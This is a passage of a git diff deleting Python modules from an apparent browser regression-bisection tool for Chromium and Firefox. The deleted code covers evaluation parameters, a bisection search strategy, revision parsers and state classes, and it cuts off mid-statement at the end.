PlotParameters( - data.get('plot_mech_group', None), - data.get('target_mech_id', None), - data.get('browser_name', None), - data.get('db_collection', None), - major_version_range=major_version_range, - revision_number_range=revision_number_range, - browser_config=data.get("browser_setting", "default"), - extensions=data.get("extensions", []), - cli_options=data.get("cli_options", []), - dirty_allowed=data.get("dirty_allowed", True), - ) - - -@staticmethod -def evaluation_factory(kwargs: ImmutableMultiDict) -> list[EvaluationParameters]: - mech_groups = kwargs.get('tests') - if mech_groups is None: - raise MissingParametersException() - - browser_configuration = BrowserConfiguration.from_dict(kwargs) - evaluation_configuration = EvaluationConfiguration( - kwargs['project'], kwargs['automation'], int(kwargs.get('seconds_per_visit', 5)) - ) - sequence_configuration = SequenceConfiguration( - int(kwargs.get('nb_of_containers')), - int(kwargs.get('sequence_limit')), - kwargs.get('search_strategy'), - ) - evaluation_params_list = [] - for mech_group in mech_groups: - evaluation_range = EvaluationRange( - mech_group, - __get_version_range(kwargs), - __get_revision_number_range(kwargs), - kwargs.get('only_release_revisions', False), - ) - database_collection = kwargs.get('db_collection') - evaluation_params = EvaluationParameters( - browser_configuration, evaluation_configuration, evaluation_range, sequence_configuration, database_collection - ) - evaluation_params_list.append(evaluation_params) - return evaluation_params_list - - -@staticmethod -def __get_cookie_name(form_data: dict[str, str]) -> str | None: - if form_data['check_for'] == 'request': - return None - if 'cookie_name' in form_data: - return form_data['cookie_name'] - return 'generic' - - -@staticmethod -def __get_version_range(form_data: dict[str, str]) -> tuple[int, int] | None: - lower_version = form_data.get('lower_version', None) - upper_version = form_data.get('upper_version', None) - lower_version = int(lower_version) if lower_version else None - upper_version = int(upper_version) if upper_version else None - assert (lower_version is None) == (upper_version is None) - return (lower_version, upper_version) if lower_version is not None else None - - -@staticmethod -def __get_revision_number_range(form_data: dict[str, str]) -> tuple[int, int] | None: - lower_rev_number = form_data.get('lower_revision_nb', None) - upper_rev_number = form_data.get('upper_revision_nb', None) - lower_rev_number = int(lower_rev_number) if lower_rev_number else None - upper_rev_number = int(upper_rev_number) if upper_rev_number else None - assert (lower_rev_number is None) == (upper_rev_number is None) - return (lower_rev_number, upper_rev_number) if lower_rev_number is not None else None - - -@staticmethod -def __get_extensions(form_data: dict[str, str]) -> list[str]: - return list( - map( - lambda x: x.replace('ext_', ''), - filter( - lambda x: x.startswith('ext_') and form_data[x] == 'true', - form_data.keys(), - ), - ) - ) - - -class MissingParametersException(Exception): - pass diff --git a/bci/integration_tests/evaluation_configurations.py b/bci/integration_tests/evaluation_configurations.py deleted file mode 100644 index 40851ab9..00000000 --- a/bci/integration_tests/evaluation_configurations.py +++ /dev/null @@ -1,57 +0,0 @@ -from bci.evaluations.logic import BrowserConfiguration, EvaluationConfiguration, EvaluationParameters, EvaluationRange, SequenceConfiguration - - -def get_default_browser_configuration(browser_name: str) -> BrowserConfiguration: - return BrowserConfiguration( - browser_name, - 'default', - [], - [], - ) - - -def get_default_evaluation_configuration() -> EvaluationConfiguration: - return EvaluationConfiguration( - 'IntegrationTests', - 'terminal', - ) - -def get_default_evaluation_range(mech_group: str, only_releases: bool) -> EvaluationRange: - return EvaluationRange( - mech_group, - (20, 136), - None, - only_releases, - ) - -def get_default_sequence_config(sequence_limit: int) -> SequenceConfiguration: - return SequenceConfiguration( - 8, - sequence_limit, - 'comp_search', - ) - -def get_default_evaluation_parameters(browser_name: str, mech_group: str, sequence_limit: int=50, only_releases: bool=True) -> EvaluationParameters: - return EvaluationParameters( - get_default_browser_configuration(browser_name), - get_default_evaluation_configuration(), - get_default_evaluation_range(mech_group, only_releases), - get_default_sequence_config(sequence_limit), - 'integrationtests_' + browser_name - ) - -def get_eval_parameters_list(mech_groups: list[str]) -> list[EvaluationParameters]: - evaluation_parameters_list = [] - for browser_name in ['chromium', 'firefox']: - for mech_group in mech_groups: - if mech_group == 'all_reproduced': - sequence_limit = 999 - else: - sequence_limit = 50 - params = get_default_evaluation_parameters( - browser_name, - mech_group, - sequence_limit=sequence_limit - ) - evaluation_parameters_list.append(params) - return evaluation_parameters_list diff --git a/bci/integration_tests/verify_results.py b/bci/integration_tests/verify_results.py deleted file mode 100644 index 2e3e5b20..00000000 --- a/bci/integration_tests/verify_results.py +++ /dev/null @@ -1,47 +0,0 @@ -from bci.database.mongo.mongodb import MongoDB -from bci.evaluations.logic import EvaluationParameters -from bci.version_control.state_result_factory import StateResultFactory -from bci.version_control.states.state import State - - -def verify(evaluation_parameters_list: list[EvaluationParameters]) -> list: - verification_results = [] - for evaluation_parameters in evaluation_parameters_list: - experiment_name = evaluation_parameters.evaluation_range.mech_group - verification_func = verification_functions()[experiment_name] - state_result_factory = StateResultFactory(experiment=experiment_name) - states = MongoDB().get_evaluated_states(evaluation_parameters, None, state_result_factory) - nb_of_success_results = len(list(filter(lambda x: verification_func(x) and not x.result.is_dirty, states))) - nb_of_fail_results = len(list(filter(lambda x: not verification_func(x) and not x.result.is_dirty, states))) - nb_of_error_results = len(list(filter(lambda x: x.result.is_dirty, states))) - nb_of_results = nb_of_success_results + nb_of_fail_results + nb_of_error_results - success_ratio = 0 if nb_of_results == 0 else round((nb_of_success_results / nb_of_results) * 100) - verification_results.append({ - 'experiment_name': experiment_name, - 'browser_name': evaluation_parameters.browser_configuration.browser_name, - 'nb_of_success_results': nb_of_success_results, - 'nb_of_fail_results': nb_of_fail_results, - 'nb_of_error_results': nb_of_error_results, - 'success_ratio': success_ratio, - }) - return verification_results - - -def verification_functions() -> dict: - def all_reproduced(state: State) -> bool: - if state.result is None: - return False - return state.result.reproduced - - def none_reproduced(state: State) -> bool: - if state.result is None: - return False - return not state.result.reproduced - - return { - 'all_reproduced': all_reproduced, - 'none_reproduced': none_reproduced, - 'click': all_reproduced, - } - - diff --git a/bci/search_strategy/bgb_search.py b/bci/search_strategy/bgb_search.py deleted file mode 100644 index dfa3e949..00000000 --- a/bci/search_strategy/bgb_search.py +++ /dev/null @@ -1,110 +0,0 @@ -from __future__ import annotations - -import logging -from typing import Optional - -from bci.search_strategy.bgb_sequence import BiggestGapBisectionSequence -from bci.search_strategy.sequence_strategy import SequenceFinished -from bci.version_control.state_factory import StateFactory -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - - -class BiggestGapBisectionSearch(BiggestGapBisectionSequence): - """ - This search strategy will split the biggest gap between two states in half and return the state in the middle. - It will only consider state pairs if their non-dirty result differs. - It stops when there are no more states to evaluate between two states with different outcomes. - """ - - def __init__(self, state_factory: StateFactory, completed_states: Optional[list[State]] = None) -> None: - """ - Initializes the search strategy. - - :param state_factory: The factory to create new states. - :param completed_states: States that have already been returned. - """ - super().__init__(state_factory, 0, completed_states=completed_states) - - def next(self) -> State: - """ - Returns the next state to evaluate. - """ - # Fetch all evaluated states - self._fetch_evaluated_states() - - if self._limit and self._limit <= len(self._completed_states): - raise SequenceFinished() - - if self._lower_state not in self._completed_states: - self._add_state(self._lower_state) - return self._lower_state - if self._upper_state not in self._completed_states: - self._add_state(self._upper_state) - return self._upper_state - - while next_pair := self.__get_next_pair_to_split(): - splitter_state = self._find_best_splitter_state(next_pair[0], next_pair[1]) - if splitter_state is None: - self._unavailability_gap_pairs.add(next_pair) - if splitter_state: - logger.debug(f'Splitting [{next_pair[0].index}]--/{splitter_state.index}/--[{next_pair[1].index}]') - self._add_state(splitter_state) - return splitter_state - raise SequenceFinished() - - def __get_next_pair_to_split(self) -> Optional[tuple[State, State]]: - """ - Returns the next pair of states to split. - """ - states = self._completed_states - # Remove all states that are confined by states with the same result, ignoring resultless and dirty states. - states_to_remove = [] - for i, state in enumerate(states): - # Skip first and last state. - if i == 0 or i == len(states) - 1: - continue - # Skip pairs that have a result, which also is not dirty. - if not state.has_dirty_or_no_result(): - continue - preceding_states = [state for state in states[:i] if not state.has_dirty_or_no_result()] - succeeding_states = [state for state in states[i+1:] if not state.has_dirty_or_no_result()] - # Normally, there should always be at least one preceding and one succeeding state, because we evaluate - # border states first. However, we never want this function to fail and thus double check this. - if len(preceding_states) == 0 or len(succeeding_states) == 0: - continue - if preceding_states[-1].has_same_outcome(succeeding_states[0]): - states_to_remove.append(state) - for state in states_to_remove: - states.remove(state) - - # Make pairwise list of states and remove pairs with the same outcome - pairs = [(state1, state2) for state1, state2 in zip(states, states[1:]) if not state1.has_same_outcome(state2)] - if not pairs: - return None - # Remove the first and last pair if they have a first and last state without a result, respectively - if pairs[0][0].result is None: - pairs = pairs[1:] - if pairs[-1][1].result is None: - pairs = pairs[:-1] - # Remove all pairs that have already been identified as unavailability gaps - pairs = [pair for pair in pairs if pair not in self._unavailability_gap_pairs] - - if not pairs: - return None - # Sort pairs to prioritize pairs with bigger gaps. - # This way, we refrain from pinpointing pair-by-pair, making the search more efficient. - # E.g., when the splitter of the first gap is being evaluated, we can already evaluate the - # splitter of the second gap with having to wait for the first gap to be fully evaluated. - pairs.sort(key=lambda pair: pair[1].index - pair[0].index, reverse=True) - return pairs[0] - - @staticmethod - def create_from_bgb_sequence(bgb_sequence: BiggestGapBisectionSequence) -> BiggestGapBisectionSearch: - """ - Returns a BGB search object, which continues on state of the given BGB sequence object. - - :param bgb_sequence: The BGB sequence object from which the state will be used to create the BGB search object. - """ - return BiggestGapBisectionSearch(bgb_sequence._state_factory, completed_states=bgb_sequence._completed_states) diff --git a/bci/version_control/repository/online/chromium.py b/bci/version_control/repository/online/chromium.py deleted file mode 100644 index af569fe1..00000000 --- a/bci/version_control/repository/online/chromium.py +++ /dev/null @@ -1,21 +0,0 @@ -from bci.database.mongo.revision_cache import RevisionCache - - -def is_tag(tag: str) -> bool: - return RevisionCache.is_tag('chromium', tag) - - -def get_release_tag(major_release_version: int) -> str: - return RevisionCache.get_release_tag('chromium', major_release_version) - - -def get_release_revision_number(major_release_version: int) -> int: - return RevisionCache.get_release_revision_number('chromium', major_release_version) - - -def get_release_revision_id(major_release_version: int) -> int: - return RevisionCache.get_release_revision_id('chromium', major_release_version) - - -def get_most_recent_major_version() -> int: - return RevisionCache.get_most_recent_major_version('chromium') diff --git a/bci/version_control/repository/online/firefox.py b/bci/version_control/repository/online/firefox.py deleted file mode 100644 index a7dcd486..00000000 --- a/bci/version_control/repository/online/firefox.py +++ /dev/null @@ -1,21 +0,0 @@ -from bci.database.mongo.revision_cache import RevisionCache - - -def is_tag(tag: str) -> bool: - return RevisionCache.is_tag('firefox', tag) - - -def get_release_tag(major_release_version: int) -> str: - return RevisionCache.get_release_tag('firefox', major_release_version) - - -def get_release_revision_number(major_release_version: int) -> int: - return RevisionCache.get_release_revision_number('firefox', major_release_version) - - -def get_release_revision_id(major_release_version: int) -> int: - return RevisionCache.get_release_revision_id('firefox', major_release_version) - - -def get_most_recent_major_version() -> int: - return RevisionCache.get_most_recent_major_version('firefox') diff --git a/bci/version_control/revision_parser/chromium_parser.py b/bci/version_control/revision_parser/chromium_parser.py deleted file mode 100644 index f8210e7b..00000000 --- a/bci/version_control/revision_parser/chromium_parser.py +++ /dev/null @@ -1,43 +0,0 @@ -import logging -import re -from typing import Optional - -from bci.util import ResourceNotFound, request_final_url, request_html -from bci.version_control.revision_parser.parser import RevisionParser - -REV_ID_BASE_URL = 'https://chromium.googlesource.com/chromium/src/+/' -REV_NUMBER_BASE_URL = 'http://crrev.com/' - -logger = logging.getLogger(__name__) - - -class ChromiumRevisionParser(RevisionParser): - def get_revision_id(self, revision_nb: int) -> Optional[str]: - try: - final_url = request_final_url(f'{REV_NUMBER_BASE_URL}{revision_nb}') - except ResourceNotFound: - logger.warning(f"Could not find revision id for revision number '{revision_nb}'") - return None - rev_id = final_url[-40:] - assert re.match(r'[a-z0-9]{40}', rev_id) - return rev_id - - def get_revision_nb(self, revision_id: str) -> int: - url = f'{REV_ID_BASE_URL}{revision_id}' - html = request_html(url).decode() - rev_number = self.__parse_revision_number(html) - if rev_number is None: - logging.getLogger('bci').error(f"Could not parse revision number on '{url}'") - raise AttributeError(f"Could not parse revision number on '{url}'") - assert re.match(r'[0-9]{1,7}', rev_number) - return int(rev_number) - - @staticmethod - def __parse_revision_number(html: str) -> Optional[str]: - matches = re.findall(r'refs\/heads\/(?:master|main)\@\{\#([0-9]{1,7})\}', html) - if matches: - return matches[0] - matches = re.findall(r'svn.chromium.org\/chrome\/trunk\/src\@([0-9]{1,7}) ', html) - if matches: - return matches[0] - return None diff --git a/bci/version_control/revision_parser/parser.py b/bci/version_control/revision_parser/parser.py deleted file mode 100644 index e3e2595c..00000000 --- a/bci/version_control/revision_parser/parser.py +++ /dev/null @@ -1,12 +0,0 @@ -from abc import abstractmethod -from typing import Optional - - -class RevisionParser: - @abstractmethod - def get_revision_id(self, revision_nb: int) -> Optional[str]: - pass - - @abstractmethod - def get_revision_nb(self, revision_id: str) -> Optional[int]: - pass diff --git a/bci/version_control/state_factory.py b/bci/version_control/state_factory.py deleted file mode 100644 index f5ad7a92..00000000 --- a/bci/version_control/state_factory.py +++ /dev/null @@ -1,92 +0,0 @@ -from __future__ import annotations - -from bci.database.mongo.mongodb import MongoDB -from bci.evaluations.logic import EvaluationParameters -from bci.version_control.state_result_factory import StateResultFactory -from bci.version_control.states.revisions.chromium import ChromiumRevision -from bci.version_control.states.revisions.firefox import FirefoxRevision -from bci.version_control.states.state import State -from bci.version_control.states.versions.base import BaseVersion -from bci.version_control.states.versions.chromium import ChromiumVersion -from bci.version_control.states.versions.firefox import FirefoxVersion - - -class StateFactory: - def __init__(self, eval_params: EvaluationParameters) -> None: - """ - Create a state factory object with the given evaluation parameters and boundary indices. - - :param eval_params: The evaluation parameters. - """ - self.__eval_params = eval_params - self.__state_result_factory = StateResultFactory(experiment=eval_params.evaluation_range.mech_group) - self.boundary_states = self.__create_boundary_states() - - def create_state(self, index: int) -> State: - """ - Create a state object associated with the given index. - The given index represents: - - A major version number if `self.eval_params.evaluation_range.major_version_range` is True. - - A revision number otherwise. - - :param index: The index of the state. - """ - eval_range = self.__eval_params.evaluation_range - if eval_range.only_release_revisions: - return self.__create_version_state(index) - else: - return self.__create_revision_state(index) - - def __create_boundary_states(self) -> tuple[State, State]: - """ - Create the boundary state objects for the evaluation range. - """ - eval_range = self.__eval_params.evaluation_range - if eval_range.major_version_range: - first_state = self.__create_version_state(eval_range.major_version_range[0]) - last_state = self.__create_version_state(eval_range.major_version_range[1]) - if not eval_range.only_release_revisions: - first_state = first_state.convert_to_revision() - last_state = last_state.convert_to_revision() - return first_state, last_state - elif eval_range.revision_number_range: - if eval_range.only_release_revisions: - raise ValueError('Release revisions are not allowed in this evaluation range') - return ( - self.__create_revision_state(eval_range.revision_number_range[0]), - self.__create_revision_state(eval_range.revision_number_range[1]), - ) - else: - raise ValueError('No evaluation range specified') - - def create_evaluated_states(self) -> list[State]: - """ - Create evaluated state objects within the evaluation range where the result is fetched from the database. - """ - return MongoDB().get_evaluated_states(self.__eval_params, self.boundary_states, self.__state_result_factory) - - def __create_version_state(self, index: int) -> BaseVersion: - """ - Create a version state object associated with the given index. - """ - browser_config = self.__eval_params.browser_configuration - match browser_config.browser_name: - case 'chromium': - return ChromiumVersion(index) - case 'firefox': - return FirefoxVersion(index) - case _: - raise ValueError(f'Unknown browser name: {browser_config.browser_name}') - - def __create_revision_state(self, index: int) -> State: - """ - Create a revision state object associated with the given index. - """ - browser_config = self.__eval_params.browser_configuration - match browser_config.browser_name: - case 'chromium': - return ChromiumRevision(revision_nb=index) - case 'firefox': - return FirefoxRevision(revision_nb=index) - case _: - raise ValueError(f'Unknown browser name: {browser_config.browser_name}') diff --git a/bci/version_control/state_result_factory.py b/bci/version_control/state_result_factory.py deleted file mode 100644 index 507e03f9..00000000 --- a/bci/version_control/state_result_factory.py +++ /dev/null @@ -1,64 +0,0 @@ -from typing import Optional -from urllib.parse import urlparse - -from bci.version_control.states.state import StateResult - - -class StateResultFactory: - def __init__(self, experiment: Optional[str] = None) -> None: - self.__experiment = experiment - - def get_result(self, state_result_data: dict) -> StateResult: - """ - Returns a StateResult object based on the given state result data. - """ - requests = state_result_data.get('requests', []) - request_vars = state_result_data.get('req_vars', []) - log_vars = state_result_data.get('log_vars', []) - reproduced = self.__is_reproduced(request_vars, log_vars) or self.__is_reproduced_deprecated(requests) - is_dirty = not reproduced and not ( - self.__sanity_check_was_successful(state_result_data) - or self.__sanity_check_was_successful_deprecated(state_result_data) - ) - return StateResult(requests, request_vars, log_vars, is_dirty, reproduced) - - def __sanity_check_was_successful(self, state_result_data: dict) -> bool: - """ - Returns whether the sanity check was successful. - """ - return {'var': 'sanity_check', 'val': 'OK'} in state_result_data['req_vars'] - - def __sanity_check_was_successful_deprecated(self, state_result_data: dict) -> bool: - """ - Returns whether the sanity check was successful based on the leak GET parameter (deprecated). - """ - if self.__experiment is None: - return False - requests_to_report_endpoint = [ - request for request in state_result_data['requests'] if 'report/?leak=baseline' in request['url'] - ] - return len(requests_to_report_endpoint) > 0 - - def __is_reproduced(self, request_vars: list, log_vars: list) -> bool: - """ - Returns whether the PoC is reproduced according to the reproduced variable. - """ - return {'var': 'reproduced', 'val': 'OK'} in request_vars + log_vars - - def __is_reproduced_deprecated(self, requests: dict) -> bool: - """ - Returns whether the PoC is reproduced according to the leak GET parameter (deprecated). - """ - # Because Nginx takes care of all HTTPS traffic, flask (which doubles as proxy) only sees HTTP traffic. - # Browser <--HTTPS--> Nginx <--HTTP--> Flask - if self.__experiment is None: - return False - valid_report_requests = [ - request - for request in requests - if ( - urlparse(request['url']).path in ['/report', '/report/'] - and f'leak={self.__experiment}' in urlparse(request['url']).query - ) - ] - return valid_report_requests != [] diff --git a/bci/version_control/states/revisions/base.py b/bci/version_control/states/revisions/base.py deleted file mode 100644 index 52959a10..00000000 --- a/bci/version_control/states/revisions/base.py +++ /dev/null @@ -1,101 +0,0 @@ -import logging -import re -from abc import abstractmethod -from typing import Optional - -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - - -class BaseRevision(State): - def __init__(self, revision_id: Optional[str] = None, revision_nb: Optional[int] = None): - super().__init__() - if revision_id is None and revision_nb is None: - raise AttributeError('A state must be initiliazed with either a revision id or revision number') - - self._revision_id = revision_id - self._revision_nb = revision_nb - self._fetch_missing_data() - - if self._revision_id is not None and not self._is_valid_revision_id(self._revision_id): - raise AttributeError(f"Invalid revision id '{self._revision_id}' for state '{self}'") - - if self._revision_nb is not None and not self._is_valid_revision_number(self._revision_nb): - raise AttributeError(f"Invalid revision number '{self._revision_nb}' for state '{self}'") - - @property - @abstractmethod - def browser_name(self) -> str: - pass - - @property - def name(self) -> str: - return f'{self._revision_nb}' - - @property - def type(self) -> str: - return 'revision' - - @property - def index(self) -> int: - return self._revision_nb - - @property - def revision_nb(self) -> int: - return self._revision_nb - - def to_dict(self) -> dict: - """ - Returns a dictionary representation of the state. - """ - state_dict = {'type': self.type, 'browser_name': self.browser_name} - if self._revision_id: - state_dict['revision_id'] = self._revision_id - if self._revision_nb: - state_dict['revision_number'] = self._revision_nb - return state_dict - - @staticmethod - def from_dict(data: dict) -> State: - from bci.version_control.states.revisions.chromium import ChromiumRevision - from bci.version_control.states.revisions.firefox import FirefoxRevision - - match data['browser_name']: - case 'chromium': - state = ChromiumRevision(revision_id=data.get('revision_id', None), revision_nb=data['revision_number']) - case 'firefox': - state = FirefoxRevision(revision_id=data.get('revision_id', None), revision_nb=data['revision_number']) - case _: - raise Exception(f'Unknown browser: {data["browser_name"]}') - return state - - def _has_revision_id(self) -> bool: - return self._revision_id is not None - - def _has_revision_number(self) -> bool: - return self._revision_nb is not None - - @abstractmethod - def _fetch_missing_data(self): - pass - - def _is_valid_revision_id(self, revision_id: str) -> bool: - """ - Checks if a revision id is valid. - A valid revision id is a 40 character long string containing only lowercase letters and numbers. - """ - return re.match(r'[a-z0-9]{40}', revision_id) is not None - - def _is_valid_revision_number(self, revision_number: int) -> bool: - """ - Checks if a revision number is valid. - A valid revision number is a positive integer. - """ - return re.match(r'[0-9]{1,7}', str(revision_number)) is not None - - def __str__(self): - return f'RevisionState(number: {self._revision_nb}, id: {self._revision_id})' - - def __repr__(self): - return f'RevisionState(number: {self._revision_nb}, id: {self._revision_id})' diff --git a/bci/version_control/states/revisions/chromium.py b/bci/version_control/states/revisions/chromium.py deleted file mode 100644 index 7be60106..00000000 --- a/bci/version_control/states/revisions/chromium.py +++ /dev/null @@ -1,53 +0,0 @@ -from typing import Optional - -import requests - -from bci.database.mongo.mongodb import MongoDB -from bci.version_control.revision_parser.chromium_parser import ChromiumRevisionParser -from bci.version_control.states.revisions.base import BaseRevision - -PARSER = ChromiumRevisionParser() - - -class ChromiumRevision(BaseRevision): - def __init__(self, revision_id: Optional[str] = None, revision_nb: Optional[int] = None): - super().__init__(revision_id, revision_nb) - - @property - def browser_name(self): - return 'chromium' - - def has_online_binary(self) -> bool: - cached_binary_available_online = MongoDB().has_binary_available_online('chromium', self) - if cached_binary_available_online is not None: - return cached_binary_available_online - url = f'https://www.googleapis.com/storage/v1/b/chromium-browser-snapshots/o/Linux_x64%2F{self._revision_nb}%2Fchrome-linux.zip' - response = requests.get(url, stream=True) - has_binary_online = response.status_code == 200 - MongoDB().store_binary_availability_online_cache('chromium', self, has_binary_online) - return has_binary_online - - def get_online_binary_urls(self) -> list[str]: - return [( - 'https://www.googleapis.com/download/storage/v1/b/chromium-browser-snapshots/o/%s%%2F%s%%2Fchrome-%s.zip?alt=media' - % ('Linux_x64', self._revision_nb, 'linux') - )] - - def _fetch_missing_data(self) -> None: - """ - States are initialized with either a revision id or revision number. - This method attempts to fetch other data to complete this state object. - """ - # First check if the missing data is available in the cache - if self._revision_id and self._revision_nb: - return - if state := MongoDB().get_complete_state_dict_from_binary_availability_cache(self): - if self._revision_id is None: - self._revision_id = state.get('revision_id', None) - if self._revision_nb is None: - self._revision_nb = state.get('revision_number', None) - # If not, fetch the missing data from the parser - if self._revision_id is None: - self._revision_id = PARSER.get_revision_id(self._revision_nb) - if self._revision_nb is None: - self._revision_nb = PARSER.get_revision_nb(self._revision_id) diff --git a/bci/version_control/states/revisions/firefox.py b/bci/version_control/states/revisions/firefox.py deleted file mode 100644 index 4d9ac87e..00000000 --- a/bci/version_control/states/revisions/firefox.py +++ /dev/null @@ -1,47 +0,0 @@ -from typing import Optional - -from bci.database.mongo.revision_cache import RevisionCache -from bci.version_control.states.revisions.base import BaseRevision -from bci.version_control.states.state import State - - -class FirefoxRevision(BaseRevision): - def __init__( - self, revision_id: Optional[str] = None, revision_nb: Optional[int] = None, major_version: Optional[int] = None - ): - super().__init__(revision_id=revision_id, revision_nb=revision_nb) - self.major_version = major_version - - @property - def browser_name(self) -> str: - return 'firefox' - - def has_online_binary(self) -> bool: - return RevisionCache.firefox_has_binary_for(revision_nb=self.revision_nb, revision_id=self._revision_id) - - def get_online_binary_urls(self) -> list[str]: - result = RevisionCache.firefox_get_binary_info(self._revision_id) - if result is None: - raise AttributeError(f"Could not find binary url for '{self._revision_id}'") - binary_base_url = result['files_url'] - app_version = result['app_version'] - return [ - f'{binary_base_url}firefox-{app_version}.en-US.linux-x86_64.tar.bz2', - f'{binary_base_url}firefox-{app_version}.en-US.linux-x86_64.tar.xz' - ] - - def get_previous_and_next_state_with_binary(self) -> tuple[State, State]: - previous_revision_nb, next_revision_nb = RevisionCache.firefox_get_previous_and_next_revision_nb_with_binary( - self.revision_nb - ) - - return ( - FirefoxRevision(revision_nb=previous_revision_nb) if previous_revision_nb else None, - FirefoxRevision(revision_nb=next_revision_nb) if next_revision_nb else None, - ) - - def _fetch_missing_data(self): - if self._revision_id is None: - self._revision_id = RevisionCache.firefox_get_revision_id(self._revision_nb) - if self._revision_nb is None and self._revision_id is not None: - self._revision_nb = RevisionCache.firefox_get_revision_number(self._revision_id) diff --git a/bci/version_control/states/state.py b/bci/version_control/states/state.py deleted file mode 100644 index 8fe09fa6..00000000 --- a/bci/version_control/states/state.py +++ /dev/null @@ -1,169 +0,0 @@ -from __future__ import annotations - -from abc import abstractmethod -from dataclasses import dataclass -from enum import Enum -from typing import Optional - - -class StateCondition(Enum): - """ - The condition of a state. - """ - - # This state has been evaluated and the result is available. - COMPLETED = 0 - # The evaluation of this state has failed. - FAILED = 1 - # The evaluation of this state is in progress. - IN_PROGRESS = 2 - # The evaluation of this state has not started yet. - PENDING = 3 - # This state is not available. - UNAVAILABLE = 4 - - -@dataclass(frozen=True) -class StateResult: - requests: list[dict[str, str]] - request_vars: list[dict[str, str]] - log_vars: list[dict[str, str]] - is_dirty: bool - reproduced: bool - - def has_same_outcome(self, other: StateResult) -> bool: - """ - Returns whether this and the given other result share the same outcome. - - :returns bool: True if both state results are reproduced, not reproduced, or are both dirty. - """ - return self.is_dirty == other.is_dirty and self.reproduced == other.reproduced - - def __repr__(self) -> str: - return f'StateResult(reproduced={self.reproduced}, dirty={self.is_dirty})' - - -class State: - def __init__(self): - self.result: Optional[StateResult] = None - self.unavailable = False - self.failed_by_error = False - - @property - def condition(self) -> StateCondition: - if self.result is None: - return StateCondition.PENDING - elif self.failed_by_error: - return StateCondition.FAILED - elif self.unavailable: - return StateCondition.UNAVAILABLE - elif self.result.is_dirty: - return StateCondition.FAILED - else: - return StateCondition.COMPLETED - - def has_dirty_result(self) -> bool: - """ - Returns whether this state has a dirty result. - - :returns bool: True if this state has a result, which is dirty. - """ - return self.result is not None and self.result.is_dirty - - def has_dirty_or_no_result(self) -> bool: - """ - Returns whether this state has no result or a dirty result. - - :returns bool: True if this state has no result, or a dirty result. - """ - return self.result is None or self.result.is_dirty - - def has_same_outcome(self, other: State) -> bool: - """ - Returns whether this and the given other state share the same result outcome. - - :returns bool: True if states are both reproduced, not reproduced, or dirty. - """ - if self.result is None or other.result is None: - return False - else: - return self.result.has_same_outcome(other.result) - - @property - @abstractmethod - def name(self) -> str: - pass - - @property - @abstractmethod - def browser_name(self) -> str: - pass - - @property - @abstractmethod - def type(self) -> str: - pass - - @property - @abstractmethod - def index(self) -> int: - """ - The index of the element in the sequence. - """ - pass - - @property - @abstractmethod - def revision_nb(self) -> int: - pass - - @abstractmethod - def to_dict(self) -> dict: - pass - - @staticmethod - def from_dict(data: dict) -> State: - from bci.version_control.states.revisions.base import BaseRevision - from bci.version_control.states.versions.base import BaseVersion - - match data['type']: - case 'revision': - return BaseRevision.from_dict(data) - case 'version': - return BaseVersion.from_dict(data) - case _: - raise Exception(f'Unknown state type: {data["type"]}') - - @abstractmethod - def has_online_binary(self) -> bool: - pass - - @abstractmethod - def get_online_binary_urls(self) -> list[str]: - """ - Returns a list of URLs where the associated binary can potentially be downloaded from. - """ - pass - - def has_available_binary(self) -> bool: - if self.condition == StateCondition.UNAVAILABLE: - return False - else: - has_available_binary = self.has_online_binary() - if not has_available_binary: - self.unavailable = True - return has_available_binary - - def get_previous_and_next_state_with_binary(self) -> tuple[State, State]: - raise NotImplementedError(f'This function is not implemented for {self}') - - def __repr__(self) -> str: - return f'State(index={self.index})' - - def __eq__(self, other: object) -> bool: - if not isinstance(other, State): - return False - return self.index == other.index - - def __hash__(self) -> int: - return hash((self.index, self.browser_name)) diff --git a/bci/version_control/states/versions/base.py b/bci/version_control/states/versions/base.py deleted file mode 100644 index 9c58639a..00000000 --- a/bci/version_control/states/versions/base.py +++ /dev/null @@ -1,73 +0,0 @@ -from abc import abstractmethod - -from bci.version_control.states.state import State - - -class BaseVersion(State): - def __init__(self, major_version: int): - super().__init__() - self.major_version = major_version - self._revision_nb = self._get_rev_nb() - self._revision_id = self._get_rev_id() - - @abstractmethod - def _get_rev_nb(self) -> int: - pass - - @abstractmethod - def _get_rev_id(self) -> str: - pass - - @property - def name(self) -> str: - return f'v_{self.major_version}' - - @property - @abstractmethod - def browser_name(self) -> str: - pass - - @property - def type(self) -> str: - return 'version' - - @property - def index(self) -> int: - return self.major_version - - @property - def revision_nb(self) -> int: - return self._revision_nb - - def to_dict(self, make_complete: bool = True) -> dict: - return { - 'type': self.type, - 'browser_name': self.browser_name, - 'major_version': self.major_version, - 'revision_id': self._revision_id, - 'revision_number': self._revision_nb, - } - - @staticmethod - def from_dict(data: dict) -> State: - from bci.version_control.states.versions.chromium import ChromiumVersion - from bci.version_control.states.versions.firefox import FirefoxVersion - - match data['browser_name']: - case 'chromium': - state = ChromiumVersion(major_version=data['major_version']) - case 'firefox': - state = FirefoxVersion(major_version=data['major_version']) - case _: - raise Exception(f'Unknown browser: {data["browser_name"]}') - return state - - @abstractmethod - def convert_to_revision(self) -> State: - pass - - def __str__(self): - return f'VersionState(version: {self.major_version}, rev: {self._revision_nb})' - - def __repr__(self): - return f'VersionState(version: {self.major_version}, rev: {self._revision_nb})' diff --git a/bci/version_control/states/versions/chromium.py b/bci/version_control/states/versions/chromium.py deleted file mode 100644 index 7dc986e1..00000000 --- a/bci/version_control/states/versions/chromium.py +++ /dev/null @@ -1,40 +0,0 @@ -import requests - -from bci.database.mongo.mongodb import MongoDB -from bci.version_control.repository.online.chromium import get_release_revision_id, get_release_revision_number -from bci.version_control.states.revisions.chromium import ChromiumRevision -from bci.version_control.states.versions.base import BaseVersion - - -class ChromiumVersion(BaseVersion): - def __init__(self, major_version: int): - super().__init__(major_version) - - def _get_rev_nb(self) -> int: - return get_release_revision_number(self.major_version) - - def _get_rev_id(self) -> str: - return get_release_revision_id(self.major_version) - - @property - def browser_name(self): - return 'chromium' - - def has_online_binary(self): - cached_binary_available_online = MongoDB().has_binary_available_online('chromium', self) - if cached_binary_available_online is not None: - return cached_binary_available_online - url = f'https://www.googleapis.com/storage/v1/b/chromium-browser-snapshots/o/Linux_x64%2F{self._revision_nb}%2Fchrome-linux.zip' - req = requests.get(url) - has_binary_online = req.status_code == 200 - MongoDB().store_binary_availability_online_cache('chromium', self, has_binary_online) - return has_binary_online - - def get_online_binary_urls(self) -> list[str]: - return [( - 